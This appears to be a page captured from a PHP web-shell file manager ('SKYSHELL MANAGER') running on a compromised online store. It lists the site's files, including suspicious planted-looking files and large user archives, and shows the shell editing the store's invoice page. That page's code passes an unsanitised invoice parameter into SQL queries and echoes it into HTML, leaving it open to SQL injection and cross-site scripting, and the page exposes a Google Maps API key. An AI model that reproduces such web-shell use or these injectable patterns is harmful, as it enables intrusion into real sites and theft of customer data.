ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/junk/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📁 junk	-	0755	🗑️
📄 wishlist.js	0.93 KB	0644	🗑️ ⬇️ ✏️
📄 pryfilter.php	1.04 KB	0644	🗑️ ⬇️ ✏️
📄 product.php	28.22 KB	0644	🗑️ ⬇️ ✏️
📄 product_addquantity.php	4.21 KB	0644	🗑️ ⬇️ ✏️
📄 productdetails.php	3.65 KB	0644	🗑️ ⬇️ ✏️
📄 products.php	2.06 KB	0644	🗑️ ⬇️ ✏️
📄 promo.php	2.29 KB	0644	🗑️ ⬇️ ✏️
📄 promo_cart.php	1.2 KB	0644	🗑️ ⬇️ ✏️
📄 promodisplay.php	1.17 KB	0644	🗑️ ⬇️ ✏️
📄 pry_display.php	4.13 KB	0644	🗑️ ⬇️ ✏️
📄 rate.php	0.78 KB	0644	🗑️ ⬇️ ✏️
📄 privacy_policy.html	8.37 KB	0644	🗑️ ⬇️ ✏️
📄 rates.php	3.56 KB	0644	🗑️ ⬇️ ✏️
📄 realtimecheck.php	5.69 KB	0644	🗑️ ⬇️ ✏️
📄 register.php	8.6 KB	0644	🗑️ ⬇️ ✏️
📄 related.php	5.44 KB	0644	🗑️ ⬇️ ✏️
📄 removehomedelivery.php	0.79 KB	0644	🗑️ ⬇️ ✏️
📄 resendbank.php	5.19 KB	0644	🗑️ ⬇️ ✏️
📄 retail_thankyou.php	1.59 KB	0644	🗑️ ⬇️ ✏️
📄 savenote.php	0.28 KB	0644	🗑️ ⬇️ ✏️
📄 product.css	2.38 KB	0644	🗑️ ⬇️ ✏️
📄 printmail.php	3.04 KB	0644	🗑️ ⬇️ ✏️
📄 search.php	3.45 KB	0644	🗑️ ⬇️ ✏️
📄 new_products.php	4.41 KB	0644	🗑️ ⬇️ ✏️
📄 kayd.php	0.02 KB	0644	🗑️ ⬇️ ✏️
📄 login.php	2.07 KB	0644	🗑️ ⬇️ ✏️
📄 logistics.JPG	68.97 KB	0644	🗑️ ⬇️ ✏️
📄 lou-multi-select-0.9.10-53-g57fb8d3.zip	77.43 KB	0644	🗑️ ⬇️ ✏️
📄 maintainance.php	1.67 KB	0644	🗑️ ⬇️ ✏️
📄 markcart.php	0.33 KB	0644	🗑️ ⬇️ ✏️
📄 menu.php	1.38 KB	0644	🗑️ ⬇️ ✏️
📄 new.png	2.86 KB	0644	🗑️ ⬇️ ✏️
📄 newfilter.php	1.24 KB	0644	🗑️ ⬇️ ✏️
📄 php.ini	0.69 KB	0644	🗑️ ⬇️ ✏️
📄 newproducts.php	2.73 KB	0644	🗑️ ⬇️ ✏️
📄 option.php	1.06 KB	0644	🗑️ ⬇️ ✏️
📄 orderstatus.php	12.59 KB	0644	🗑️ ⬇️ ✏️
📄 paid.php	19.53 KB	0644	🗑️ ⬇️ ✏️
📄 paychb.php	7.23 KB	0644	🗑️ ⬇️ ✏️
📄 paydeposit.php	6.04 KB	0644	🗑️ ⬇️ ✏️
📄 payinvoice.php	0.26 KB	0644	🗑️ ⬇️ ✏️
📄 paywithbank.php	6.88 KB	0644	🗑️ ⬇️ ✏️
📄 paywithwallet.php	19.26 KB	0644	🗑️ ⬇️ ✏️
📄 savetransaction.php	5.53 KB	0644	🗑️ ⬇️ ✏️
📄 search_auto.php	1.72 KB	0644	🗑️ ⬇️ ✏️
📄 wholesuccess.php	0.92 KB	0644	🗑️ ⬇️ ✏️
📄 view-filter.php	1.3 KB	0644	🗑️ ⬇️ ✏️
📄 tester.php	32.92 KB	0644	🗑️ ⬇️ ✏️
📄 txets.php	6.04 KB	0444	🗑️ ⬇️ ✏️
📄 update.php	0.46 KB	0644	🗑️ ⬇️ ✏️
📄 upgrade.php	3.42 KB	0644	🗑️ ⬇️ ✏️
📄 users.zip	50013.81 KB	0644	🗑️ ⬇️ ✏️
📄 v.20.zip	49666.95 KB	0644	🗑️ ⬇️ ✏️
📄 verifymail.php	4.01 KB	0644	🗑️ ⬇️ ✏️
📄 view-display.php	4.57 KB	0644	🗑️ ⬇️ ✏️
📄 view-products.php	1.65 KB	0644	🗑️ ⬇️ ✏️
📄 suggestion.php	16.24 KB	0644	🗑️ ⬇️ ✏️
📄 viewhistory.php	1 KB	0644	🗑️ ⬇️ ✏️
📄 viewhistory_display.php	4.88 KB	0644	🗑️ ⬇️ ✏️
📄 wallet.php	3.47 KB	0644	🗑️ ⬇️ ✏️
📄 walletdeposit.php	11.07 KB	0644	🗑️ ⬇️ ✏️
📄 walletdeposit_thankyou.php	1.36 KB	0644	🗑️ ⬇️ ✏️
📄 whole_apply.php	5.78 KB	0644	🗑️ ⬇️ ✏️
📄 whole_pay.php	3.43 KB	0644	🗑️ ⬇️ ✏️
📄 whole_thankyou.php	2.18 KB	0644	🗑️ ⬇️ ✏️
📄 wholepaid.php	4.78 KB	0644	🗑️ ⬇️ ✏️
📄 terms.php	15.24 KB	0644	🗑️ ⬇️ ✏️
📄 suggest.php	6.4 KB	0644	🗑️ ⬇️ ✏️
📄 search_history.php	0.62 KB	0644	🗑️ ⬇️ ✏️
📄 sidebar_delete.php	0.26 KB	0644	🗑️ ⬇️ ✏️
📄 wishlist.php	0.98 KB	0644	🗑️ ⬇️ ✏️
📄 search_result.php	4.82 KB	0644	🗑️ ⬇️ ✏️
📄 searchs.php	0.13 KB	0644	🗑️ ⬇️ ✏️
📄 selectitem.js	4.04 KB	0644	🗑️ ⬇️ ✏️
📄 selectpreorder.js	2 KB	0644	🗑️ ⬇️ ✏️
📄 setaddress.php	0.97 KB	0644	🗑️ ⬇️ ✏️
📄 shippingfee.php	0.42 KB	0644	🗑️ ⬇️ ✏️
📄 sidebar.php	4.47 KB	0644	🗑️ ⬇️ ✏️
📄 sidebar_update.php	5.1 KB	0644	🗑️ ⬇️ ✏️
📄 success.php	0.89 KB	0644	🗑️ ⬇️ ✏️
📄 signin.php	6.2 KB	0644	🗑️ ⬇️ ✏️
📄 signup.php	2.66 KB	0644	🗑️ ⬇️ ✏️
📄 startchat.php	1.27 KB	0644	🗑️ ⬇️ ✏️
📄 stock.php	0 KB	0644	🗑️ ⬇️ ✏️
📄 stock_checker.php	0 KB	0644	🗑️ ⬇️ ✏️
📄 sub_products.php	5.22 KB	0644	🗑️ ⬇️ ✏️
📄 subcategory.php	1.07 KB	0644	🗑️ ⬇️ ✏️
📄 subcategory_display.php	1.91 KB	0644	🗑️ ⬇️ ✏️
📄 subcategorys.php	0.14 KB	0644	🗑️ ⬇️ ✏️
📄 search_page.php	2.18 KB	0644	🗑️ ⬇️ ✏️
📄 invoices.php	5.81 KB	0644	🗑️ ⬇️ ✏️
📄 invoice.php	10.65 KB	0644	🗑️ ⬇️ ✏️
📄 cartcount.php	0.28 KB	0644	🗑️ ⬇️ ✏️
📄 brands_display.php	4.27 KB	0644	🗑️ ⬇️ ✏️
📄 card.css	4.65 KB	0644	🗑️ ⬇️ ✏️
📄 card.js	0.6 KB	0644	🗑️ ⬇️ ✏️
📄 carddeposit.php	8.97 KB	0644	🗑️ ⬇️ ✏️
📄 carddeposit_thankyou.php	1.28 KB	0644	🗑️ ⬇️ ✏️
📄 cart.js	14.8 KB	0644	🗑️ ⬇️ ✏️
📄 cart.php	25.78 KB	0644	🗑️ ⬇️ ✏️
📄 cart_items.php	13.97 KB	0644	🗑️ ⬇️ ✏️
📄 categories.css	0.32 KB	0644	🗑️ ⬇️ ✏️
📄 brands.php	1.19 KB	0644	🗑️ ⬇️ ✏️
📄 categories.php	0.85 KB	0644	🗑️ ⬇️ ✏️
📄 category_display.php	2.58 KB	0644	🗑️ ⬇️ ✏️
📄 chat.js	1.55 KB	0644	🗑️ ⬇️ ✏️
📄 chat.php	12.43 KB	0644	🗑️ ⬇️ ✏️
📄 checker.php	0.09 KB	0644	🗑️ ⬇️ ✏️
📄 checkout.php	28.11 KB	0644	🗑️ ⬇️ ✏️
📄 child.php	0.39 KB	0644	🗑️ ⬇️ ✏️
📄 child_categories.php	1.67 KB	0644	🗑️ ⬇️ ✏️
📄 child_display.php	4.25 KB	0644	🗑️ ⬇️ ✏️
📄 brands_categories.php	1.94 KB	0644	🗑️ ⬇️ ✏️
📄 brandfilter.php	1.1 KB	0644	🗑️ ⬇️ ✏️
📄 childfilter.php	1.12 KB	0644	🗑️ ⬇️ ✏️
📄 adverts_popup.php	2.93 KB	0644	🗑️ ⬇️ ✏️
📄 .htaccess	1.99 KB	0444	🗑️ ⬇️ ✏️
📄 .user.ini	0.62 KB	0644	🗑️ ⬇️ ✏️
📄 CHB LUXURIES PRIVACY POLICY.pdf	169.33 KB	0644	🗑️ ⬇️ ✏️
📄 actions.php	4.15 KB	0644	🗑️ ⬇️ ✏️
📄 addcart.php	6.51 KB	0644	🗑️ ⬇️ ✏️
📄 addpreorder.php	4.56 KB	0644	🗑️ ⬇️ ✏️
📄 addwishlist.php	1.64 KB	0644	🗑️ ⬇️ ✏️
📄 adverts.php	0.58 KB	0644	🗑️ ⬇️ ✏️
📄 all.js	0.11 KB	0644	🗑️ ⬇️ ✏️
📄 brand.php	0.42 KB	0644	🗑️ ⬇️ ✏️
📄 allproduct.php	0.13 KB	0644	🗑️ ⬇️ ✏️
📄 allproducts.php	1.6 KB	0644	🗑️ ⬇️ ✏️
📄 allproductsfilter.php	1.12 KB	0644	🗑️ ⬇️ ✏️
📄 apply.php	2.71 KB	0644	🗑️ ⬇️ ✏️
📄 apply_form.php	3.66 KB	0644	🗑️ ⬇️ ✏️
📄 autocart.js	5.13 KB	0644	🗑️ ⬇️ ✏️
📄 autocart.php	7.33 KB	0644	🗑️ ⬇️ ✏️
📄 bank_thankyou.php	1.8 KB	0644	🗑️ ⬇️ ✏️
📄 bankdeposit.php	3.81 KB	0644	🗑️ ⬇️ ✏️
📄 child_products.php	1.26 KB	0644	🗑️ ⬇️ ✏️
📄 comments.php	2.18 KB	0644	🗑️ ⬇️ ✏️
📄 index.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 godid.php	2.64 KB	0644	🗑️ ⬇️ ✏️
📄 filter.php	1.86 KB	0644	🗑️ ⬇️ ✏️
📄 flashpromo.php	4.37 KB	0644	🗑️ ⬇️ ✏️
📄 footer.php	5.24 KB	0644	🗑️ ⬇️ ✏️
📄 footer1.php	7.15 KB	0644	🗑️ ⬇️ ✏️
📄 forget.php	2.55 KB	0644	🗑️ ⬇️ ✏️
📄 forgetpassword.php	1.3 KB	0644	🗑️ ⬇️ ✏️
📄 fundwallet.php	2.1 KB	0644	🗑️ ⬇️ ✏️
📄 getalltotal.php	0.84 KB	0644	🗑️ ⬇️ ✏️
📄 google12d9a33e3a12aac1.html	0.05 KB	0644	🗑️ ⬇️ ✏️
📄 fetchprototal.php	0.35 KB	0644	🗑️ ⬇️ ✏️
📄 header1.php	29.43 KB	0644	🗑️ ⬇️ ✏️
📄 history.php	5.57 KB	0644	🗑️ ⬇️ ✏️
📄 history_items.php	3.89 KB	0644	🗑️ ⬇️ ✏️
📄 homedelivery.php	0.84 KB	0644	🗑️ ⬇️ ✏️
📄 hot_products.php	4.03 KB	0644	🗑️ ⬇️ ✏️
📄 hotfilter.php	0.53 KB	0644	🗑️ ⬇️ ✏️
📄 hotoffers.php	11.57 KB	0644	🗑️ ⬇️ ✏️
📄 hotproducts.php	0.91 KB	0644	🗑️ ⬇️ ✏️
📄 how-to-order.php	1.8 KB	0644	🗑️ ⬇️ ✏️
📄 fetchtotal.php	3.45 KB	0644	🗑️ ⬇️ ✏️
📄 fetchgrams.php	0.46 KB	0644	🗑️ ⬇️ ✏️
📄 compare_display.php	4.89 KB	0644	🗑️ ⬇️ ✏️
📄 deliveryfee.php	3.75 KB	0644	🗑️ ⬇️ ✏️
📄 comparefilter.php	1.53 KB	0644	🗑️ ⬇️ ✏️
📄 complaint.php	0.85 KB	0644	🗑️ ⬇️ ✏️
📄 complaints.php	1.94 KB	0644	🗑️ ⬇️ ✏️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 connect_to_mysqli.php	0.47 KB	0644	🗑️ ⬇️ ✏️
📄 contact.php	1.52 KB	0644	🗑️ ⬇️ ✏️
📄 core.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 deductgiftcard.php	2.07 KB	0644	🗑️ ⬇️ ✏️
📄 deletedata.php	0.27 KB	0644	🗑️ ⬇️ ✏️
📄 demo.js	1.74 KB	0644	🗑️ ⬇️ ✏️
📄 fetchcount.php	0.63 KB	0644	🗑️ ⬇️ ✏️
📄 detail.php	0.13 KB	0644	🗑️ ⬇️ ✏️
📄 display.php	4.3 KB	0644	🗑️ ⬇️ ✏️
📄 displayfilter.php	1.23 KB	0644	🗑️ ⬇️ ✏️
📄 error_log	5105337.58 KB	0644	🗑️ ⬇️ ✏️
📄 fastpromo.php	3.22 KB	0644	🗑️ ⬇️ ✏️
📄 feepaid.php	10.54 KB	0644	🗑️ ⬇️ ✏️
📄 feesuccess.php	0.9 KB	0644	🗑️ ⬇️ ✏️
📄 fetchamount.php	1.24 KB	0644	🗑️ ⬇️ ✏️
📄 fetchchat.php	2.63 KB	0644	🗑️ ⬇️ ✏️
📄 wishlist_display.php	4.8 KB	0644	🗑️ ⬇️ ✏️

Editing: invoice.php

<?php include "header.php"; 
if (isset($_GET['invoice'])){
    $invoice = $_GET['invoice']; 
    $sql = "SELECT * FROM orders WHERE orderid='$invoice'";
    $sql2 = mysqli_query($con, $sql);

// Check if a row is found
    if ($row = mysqli_fetch_array($sql2)) {
        $in_name = $row['staff'];
        $in_mail = $row['email'];
        $in_cashier = $row['cashier'];
        $in_phone = $row['number'];
        $in_date = $row['date'];
        $in_pay = $row['payment'];
        if ($in_phone == "") { 
            $in_phone = "0000000000"; 
        }
    } else {
        // No row found, display an alert and redirect
        echo '<script>
                alert("This invoice payment is in processing or order ID is invalid.");
                window.location.href = "index.php";
              </script>';
    }
} else {
    // Redirect to index.php if 'invoice' is not set
    header("location: index.php");
}
?>
<script src="https://code.jquery.com/jquery-3.6.0.min.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://code.jquery.com/jquery-1.9.1.js"></script> 
<script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="cart.js"></script> 
<script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD6MS4bUOjkP0fYUklsVzIKYmGmb_MheGQ&callback=initAutocomplete&libraries=places&v=weekly" async ></script>
 
 <style>
.invoice-container {
    padding: 1rem;
}
.invoice-container .invoice-header .invoice-logo {
    margin: 0.8rem 0 0 0;
    display: inline-block;
    font-size: 1.6rem;
    font-weight: 700;
    color: #FF339A;
}
.invoice-container .invoice-header .invoice-logo img {
    max-width: 130px;
}
.invoice-container .invoice-header address {
    font-size: 0.8rem;
    color: #FF339A;
    margin: 0;
}
.invoice-container .invoice-details {
    margin: 1rem 0 0 0;
    padding: 1rem;
    line-height: 180%;
    background: #fff;
    color:#FF339A;
}
.invoice-container .invoice-details .invoice-num {
    text-align: right;
    font-size: 0.8rem;
}
.invoice-container .invoice-body {
    padding: 1rem 0 0 0;
}
.invoice-container .invoice-footer {
    text-align: center;
    font-size: 0.7rem;
    margin: 5px 0 0 0;
    
}
.invoice-status {
    text-align: center;
    padding: 1rem;
    background: #272e48;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
    margin-bottom: 1rem;
}
.invoice-status h2.status {
    margin: 0 0 0.8rem 0;
}
.invoice-status h5.status-title {
    margin: 0 0 0.8rem 0;
    color: #fff;
}
.invoice-status p.status-type {
    margin: 0.5rem 0 0 0;
    padding: 0;
    line-height: 150%;
}
.invoice-status i {
    font-size: 1.5rem;
    margin: 0 0 1rem 0;
    display: inline-block;
    padding: 1rem;
    background: #1a233a;
    -webkit-border-radius: 50px;
    -moz-border-radius: 50px;
    border-radius: 50px;
}
.invoice-status .badge {
    text-transform: uppercase;
}

@media (max-width: 767px) {
    .invoice-container {
        padding: 1rem;
    }
}

.card {
    background: #000000;
    -webkit-border-radius: 5px;
    -moz-border-radius: 5px;
    border-radius: 5px;
    border: 0;
    margin-bottom: 1rem;
        margin-top:50px;
}

.custom-table {
    border: 1px solid #2b3958;
}
.custom-table thead {
    background: #2f71c1;
}
.custom-table thead th {
    border: 0;
    color: #ffffff;
}
.custom-table > tbody tr:hover {
    background: #172033;
}
.custom-table > tbody tr:nth-of-type(even) {
    background-color: #1a243a;
}
.custom-table > tbody td {
    border: 1px solid #2e3d5f;
}

.table {
    background: #fff;
    color: #FF339A;
    font-size: .75rem;
}
.text-success {
    color: #FF339A !important;
}
.custom-actions-btns {
    margin: auto;
    display: flex;
    justify-content: flex-end;
}
.custom-actions-btns .btn {
    margin: .3rem 0 .3rem .3rem;
}

</style>

<div class="container">
    <div class="row gutters">
    	<div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
    		<div class="card">
    			<div class="card-body p-0">
    				<div class="invoice-container">
    					<div class="invoice-header">
    
    						
    						<div class="row gutters">
    							<div class="col-xl-12 col-lg-12 col-md-12 col-sm-12">
    							</div>
    						</div>
    						
    
    						
    						<div class="row gutters">
    							<div class="col-xl-6 col-lg-6 col-md-6 col-sm-6">
    								<a href="index.php" class="invoice-logo">
    								CHB NAIL SHOP
    								</a>
    							</div>
    							
    							<div class="col-lg-6 col-md-6 col-sm-6">
    								<address class="text-right">
    									<?php echo $in_name; ?><br>
    									<?php echo $in_mail.'<br>';?>
    									<?php echo $in_phone; ?>
    								</address>
    							</div>
    							<div class="col-lg-6 col-md-6 col-sm-6">
    								<address class="text-left">
    									<b>Processed by</b><br>
    									<?php echo $in_cashier; ?>
    								</address>
    							</div>
    						</div>
    						
    
    						
    						<div class="row gutters">
    							<div class="col-xl-9 col-lg-9 col-md-12 col-sm-12 col-12">
    								
    							</div>
    							<div class="col-xl-3 col-lg-3 col-md-12 col-sm-12 col-12">
    								<div class="invoice-details">
    									<div class="invoice-num">
    										<div>Invoice - <?php echo $invoice; ?></div>
    										<div><?php echo $in_date; ?></div>
    									</div>
    								</div>													
    							</div>
    						</div>
    						
    
    					</div>
    
    					<div class="invoice-body">
    
    						
    						<div class="row gutters">
    							<div class="col-lg-12 col-md-12 col-sm-12">
    								<div class="table-responsive">
    									<table class="table table-bordered" border="1" >
    										<thead>
    											<tr>
    											    <th></th>
    												<th>Items</th>
    												<th>Product ID</th>
    												<th>Quantity</th>
    												<th>Sub Total</th>
    			    											</tr>
    										</thead>
    										<tbody>
    											
<?php 
if (isset($_GET['invoice'])) {
    $invoice = $_GET['invoice'];
    $total_price = 0;

// Calculate total price
    $sqlTotal = "SELECT SUM(price) FROM stock_orders WHERE orderid='$invoice' ";
    $resultTotal = mysqli_query($con, $sqlTotal);
    $rowTotal = mysqli_fetch_array($resultTotal);
    $total_price = ($rowTotal[0] !== null) ? $rowTotal[0] : 0;

if ($total_price == '') {
        $total_price = 0;
    }
    
$sql = "SELECT * FROM stock_orders WHERE orderid='$invoice' ORDER BY s ASC";
$sql2 = mysqli_query($con,$sql);
$count = mysqli_num_rows($sql2);
if ($count <= 0) {
echo"<tr><td colspan='5><p style='color:black; text-align:center;font-size:28px;'>Oops! You haven't added anything to your cart yet!  <a href='index.php'><u>Add Items here</u></a><p></td></tr>";
}
else{ 
while($row = mysqli_fetch_array($sql2)){
    
$num = $color = $group = $media = $v_media = $item = $itemname = $preorder = '';

$num=$row['quantity'];
                    $seed=$row['s'];
                    $naira=$row['price'];
                    $item=$row['stockid'];
                    $varse=$row['color'];
                    $itemname=$row['name'];
                    $retail=$row['price'];
                    $group=$row['group_id'];
                    $preorder=$row['preorder'];

$num=((int)$num + (int)$preorder);
           
           //preorder notice
           $pretext="";
           if($preorder > 0){ $pretext="<br>(".$preorder. " on pre-order)"; }
     
$checkItem = mysqli_query($con, "SELECT * FROM stocks WHERE id='$item'");
 if (mysqli_num_rows($checkItem) > 0) {
               
    $combinedQuery = "
    SELECT s.*, v.color AS vars, v.media AS v_media, si.media AS media
    FROM stocks s
    LEFT JOIN variation v ON s.id = v.item
    LEFT JOIN stock_images si ON s.group_id = si.id
    WHERE s.id = '$item' AND v.s='$varse'";

$combinedResult = mysqli_query($con, $combinedQuery);

if (mysqli_num_rows($combinedResult) > 0) {
    $combinedRow = mysqli_fetch_array($combinedResult);

$vars = $combinedRow['vars'];
    $v_media = $combinedRow['v_media'];
    $amount = $combinedRow['retail_price'];
    $whole = $combinedRow['wholesales_price'];
    $wholenum = $combinedRow['wholesales_quantity'];
    $group = $combinedRow['group_id'];
    $media = $combinedRow['media'];
}}

$logo="https://chbluxuries.com/img/luxury.png";
$imageToShow = (!empty($v_media) && $v_media !== "null") ? "admin/home/stocks/".$v_media : (!empty($media) ? "admin/home/stocks/".$media : $logo);

echo "
	 <tr>
	 <td><img src='".$imageToShow."' alt='' style='width: 50px; height:auto;'></td>
	 <td>$itemname $pretext</td>
	 <td>$group</td>
	 <td>$num</td>
	 <td> &#x20A6 $retail</td></tr>";
	 
	 
}}}?>
			                                     <tr>
    												<td colspan="4">
    												<h5 class="text-success"><strong>Grand Total</strong></h5>
    												</td>			
    												<td>
    													<h5 class="text-success"><strong>&#x20A6 <?php echo $total_price ?></strong></h5>
    												</td>
    											    </tr>
    										</tbody>
    									</table>
    								</div>
    							   </div>
    						        </div>
    						</div>
    
    				         <div class="row justify-content-center invoice-footer">
    				         <div class="col-12">
                         <?php if($in_pay=='invoice'){ ?><a href="payinvoice.php?invoice=<?php echo $invoice; ?>" class="btn btn-primary font-weight-bold my-3 py-3 text-light">Proceed to Payment</a></p>
    				     <p class="text-success" style="color:#fff; font-weight:600; font-size:14px; text-align:center;">
To ensure the security and accuracy of your payments, we kindly request that all transactions be made exclusively through bank transfers to the company account with bank name
<B>CHB & LUXURY COLLECTIONS LTD</B><br>
Please be aware that this policy is in place to safeguard your financial transactions and to prevent any potential errors that may occur when using alternative payment methods.</p><?php } ?>
    					 </div></div>
    				</div>
    			</div>
    		</div>
    	</div>
    </div>
</div>
<?php include "footer.php";  ?>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: invoice.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33